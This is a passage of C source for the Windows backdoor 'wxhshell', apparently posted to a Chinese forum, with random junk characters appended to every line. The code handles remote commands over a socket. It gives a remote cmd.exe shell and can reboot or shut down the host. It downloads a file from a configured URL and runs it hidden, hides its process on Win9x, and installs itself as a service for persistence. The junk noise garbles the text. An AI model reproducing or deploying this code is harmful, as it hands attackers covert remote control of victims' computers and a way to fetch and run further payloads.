  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I~HA ad,k  
  } }YiFiGf,  
  else { _9=cxwi<w  
!u:;Ew  
    switch(cmd[0]) { 0XC3O 8q  
  ,1t|QvO  
  // 帮助 2/F8kVx{  
  case '?': { A58P$#)?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `Um-Y'KE  
    break; 9[ &q C  
  } 6\UIp#X  
  // 安装 t8lGC R  
  case 'i': { Q 4L7{^[X  
    if(Install()) "fN 6_*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oBnes*  
    else 1=X1<@*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qx0F*EH|  
    break; A[F@rUZp  
    } 0a!|*Z  
  // 卸载 }t|i1{%_  
  case 'r': { BNO+-ob-  
    if(Uninstall()) X-CoC   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |NTqJ j  
    else 8"[{[<-   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y\9#"=+  
    break; lQRtsmZ0  
    } w}97`.Kt!n  
  // 显示 wxhshell 所在路径 {XC[Ia6jtL  
  case 'p': { @bAu R  
    char svExeFile[MAX_PATH]; K|D1  
    strcpy(svExeFile,"\n\r"); ^@Qc!(P  
      strcat(svExeFile,ExeFile); W%MS,zkAE  
        send(wsh,svExeFile,strlen(svExeFile),0); }:s.m8LC5n  
    break; Xe\v6gbD  
    } #Hl?R5  
  // 重启 <|E*aR|M  
  case 'b': { VTX6_&Hc1g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bq8h?Q  
    if(Boot(REBOOT)) QM~~b=P,\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NE &{_i!  
    else { #7YJ87<E  
    closesocket(wsh); gTLBR  
    ExitThread(0); o>]z~^c  
    } m*lcIa  
    break; `O%O[  
    } YPKB4p#  
  // 关机 rzvKvGd#N  
  case 'd': { 0q]0+o*%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L)9Z Op5  
    if(Boot(SHUTDOWN)) 9.9B#?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Le/}xST@  
    else { ?O]RQXsZ2  
    closesocket(wsh); X]W(  
    ExitThread(0); uA t{WDHm  
    } _ib @<%  
    break; AW!A +?F6  
    } 3m&  
  // 获取shell {DUtdu[  
  case 's': { u&o$2 '8  
    CmdShell(wsh); {([`[7B>a<  
    closesocket(wsh); <33,0."K  
    ExitThread(0); mO8/eVws[M  
    break; /*M3Ns1@2  
  } Z@>kqJ%  
  // 退出 s+=':Gcb(C  
  case 'x': { p3T:Y_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rJRg4Rog  
    CloseIt(wsh); ##alzC  
    break; v}IhO~`uEq  
    } Otf{)f  
  // 离开 `z7,HJ.0c  
  case 'q': { _lm^v%J$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zdfh*MHMg  
    closesocket(wsh); B;piO-hH  
    WSACleanup(); #veV {,g  
    exit(1); &zP> pQr`#  
    break; (I+e@UUiL  
        } }EJ/H3<  
  } k7cY^&o  
  } ^oW{N  
zW)Wt.svP  
  // 提示信息 RU>qj *e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Q;s[Kg{!  
} mwI7[I2q  
  } ua ky2SgN  
O,NVhU7,  
  return; >Ml5QO$*.q  
} *{\))Zmhd  
(<e<Q~(  
// shell模块句柄 MY}K.^ 4^  
int CmdShell(SOCKET sock) jCIY(/  
{ 1i)3!fH0:  
STARTUPINFO si; Jz P0D'  
ZeroMemory(&si,sizeof(si)); Cbm^: _LR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aEVy20wd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } .<(L  
PROCESS_INFORMATION ProcessInfo; Ji6.-[:  
char cmdline[]="cmd"; Zp9kxm'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Io&HzQW^a  
  return 0; '6*9pG-  
}  }Fox  
^r mQMjF  
// 自身启动模式 <~:2~r  
int StartFromService(void) T4[/_;1g  
{ pmO0/ty  
typedef struct i` ay9J8N  
{ sc6NON#  
  DWORD ExitStatus; %hdjQIH  
  DWORD PebBaseAddress; 2Vw2r@S/  
  DWORD AffinityMask; 'G>9iw  
  DWORD BasePriority; \wK4bvUrX  
  ULONG UniqueProcessId; qOnGP{   
  ULONG InheritedFromUniqueProcessId; l(@c  
}   PROCESS_BASIC_INFORMATION; :-$8u;!M  
|>.</68Z  
PROCNTQSIP NtQueryInformationProcess; o/n4M]G  
@g]EY&Uzl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @YG-LEh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @X560_x[q  
f$vTDak  
  HANDLE             hProcess; k1s5cg=n(  
  PROCESS_BASIC_INFORMATION pbi; >Q?8tGfB  
:M<] 6o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [9#zE URS  
  if(NULL == hInst ) return 0; ZE~zs~z|  
GQQp(%T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1EWZA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PrA(==FX/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xkg  
["4Tn0g ;  
  if (!NtQueryInformationProcess) return 0; )} t't"  
zgH*B*)bj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xtLP 4VL  
  if(!hProcess) return 0; =2ED w_5E  
P|]r*1^5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U4yl{?  
pVrY';[,|  
  CloseHandle(hProcess); Uqy/~n-v<  
e0otr_)3F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %~P T7"4  
if(hProcess==NULL) return 0; %H,s~IU  
\j3dB tc  
HMODULE hMod; ?,8+1"|$A]  
char procName[255]; XrWWV2[  
unsigned long cbNeeded; 5C^@w  
I3d}DpPx%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JY^i  
Dg{d^>T!_x  
  CloseHandle(hProcess); N^@:+,<3  
FouN}X6  
if(strstr(procName,"services")) return 1; // 以服务启动 het<#3Bo  
N-Z=p)]  
  return 0; // 注册表启动 _{gqi$Mi  
} 2gMG7%d  
GNq f  
// 主模块 4l6 8+  
int StartWxhshell(LPSTR lpCmdLine) M}f(-,9  
{ CjP<'0gT  
  SOCKET wsl; r@bh,U$  
BOOL val=TRUE; T#*H  
  int port=0; zNdkwj p+  
  struct sockaddr_in door; AS re@pW  
5,g +OY=\  
  if(wscfg.ws_autoins) Install(); s(J>yd=  
FF! PmfF'  
port=atoi(lpCmdLine); ela^L_NhF  
mtn^+*  
if(port<=0) port=wscfg.ws_port; U V*Ruy-  
J%M [8  
  WSADATA data; 6)P.wW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C H 29kQ  
NY.* S6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~(kqq#=s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o[fg:/5)A  
  door.sin_family = AF_INET; 7v)p\#-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kc't  
  door.sin_port = htons(port);  X0$q !  
v+W'0ymbnV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hq 3V+$  
closesocket(wsl); OE9,D:t v  
return 1; f5FEHyj|  
} GZNN2 '  
s.Ai _D  
  if(listen(wsl,2) == INVALID_SOCKET) { 6$'*MpYF4  
closesocket(wsl); 5)eM0,:  
return 1; v$Hz)J.01  
} zyUS$g]&  
  Wxhshell(wsl); g=Vu'p 3u  
  WSACleanup(); $Th)z}A}EA  
$T^q>v2u  
return 0; &ah%^Z4um  
Qz#By V:  
} w K#*|  
yb ?Pyq.D  
// 以NT服务方式启动 Hz2Sx1.i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V|$PO Qa3  
{ p?,<{mAe  
DWORD   status = 0; "wTCO1  
  DWORD   specificError = 0xfffffff; o5NmNOXm  
:Ev gUA\4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hpb|| V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J ~3m7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t^FE]$,  
  serviceStatus.dwWin32ExitCode     = 0; fx[&"$X  
  serviceStatus.dwServiceSpecificExitCode = 0; 1BZ##xV*:G  
  serviceStatus.dwCheckPoint       = 0; 3Z=yCec]  
  serviceStatus.dwWaitHint       = 0; ;p`to"6IFD  
~uty<fP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /pPH D]  
  if (hServiceStatusHandle==0) return; P=jsOuW  
4Z~ nWs  
status = GetLastError(); -bzlp7q*  
  if (status!=NO_ERROR) 5~@-LXqL  
{ aaT3-][  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =2Yt[8';  
    serviceStatus.dwCheckPoint       = 0; \GxqE8  
    serviceStatus.dwWaitHint       = 0; #]tDxZ] 6  
    serviceStatus.dwWin32ExitCode     = status; i#t-p\Tcz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]Z8u0YtM)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3zD#V3 =  
    return; GyN|beou  
  } C|TQf8  
>Wt@O\k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9$ ;5J  
  serviceStatus.dwCheckPoint       = 0; m1Ya  
  serviceStatus.dwWaitHint       = 0; `?(J(H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &l1t5 !  
} fI<LxU_n:  
O8A1200  
// 处理NT服务事件,比如:启动、停止 f(D'qV T{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uH%b rbrU  
{ RBn/7  
switch(fdwControl) h]ae^M  
{ L,y q=%h|  
case SERVICE_CONTROL_STOP: 8xgBNQdPT  
  serviceStatus.dwWin32ExitCode = 0; jc Mn   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o?>0WSLlm  
  serviceStatus.dwCheckPoint   = 0; XNJZ~Mowb  
  serviceStatus.dwWaitHint     = 0; #xGP|:m  
  { j;]I -M[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !~~KM?g  
  } 6dr 'nP  
  return; \EVT*v=}/  
case SERVICE_CONTROL_PAUSE: x,25ROaHY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y 2> 93m  
  break; Y^!qeY  
case SERVICE_CONTROL_CONTINUE: SefhOh^,V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9u{[e"  
  break; w+ !c9  
case SERVICE_CONTROL_INTERROGATE: 1Ys=KA-!_x  
  break; yV:8>9wE8  
}; (l{8Ix s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;P)oKx  
} GEc-<`-  
fGlvum  
// 标准应用程序主函数 v9:J 55x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2[+.* Ef  
{ pxTtV g.  
;QXg*GNAv$  
// 获取操作系统版本 <$z[pw<  
OsIsNt=GetOsVer(); #C&';HB;y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s_NY#MPz[  
X1.-C@o  
  // 从命令行安装 KqntOo} y)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0<!9D):Bb  
q& -mbWBj  
  // 下载执行文件 PljPhAce  
if(wscfg.ws_downexe) { #RR;?`,L}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vkTu:3Qe  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4uOR=+/l  
} |JIlp"[  
ZL<X* l2  
if(!OsIsNt) { -@(LN%7!C  
// 如果时win9x,隐藏进程并且设置为注册表启动 %"mI["{  
HideProc(); q*&H  
StartWxhshell(lpCmdLine); c8X;4 My  
} >2{Y5__+e  
else uK"  T~  
  if(StartFromService()) $\J5l$tU  
  // 以服务方式启动 p-.kBF  
  StartServiceCtrlDispatcher(DispatchTable); O^8ZnN_+  
else U? Jk  
  // 普通方式启动 Gkuqe3  
  StartWxhshell(lpCmdLine); e7;7TrB.  
:KO&j"[  
return 0; I#(lxlp"Ho  
}
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只看该作者 1 发表于: 2006-10-10
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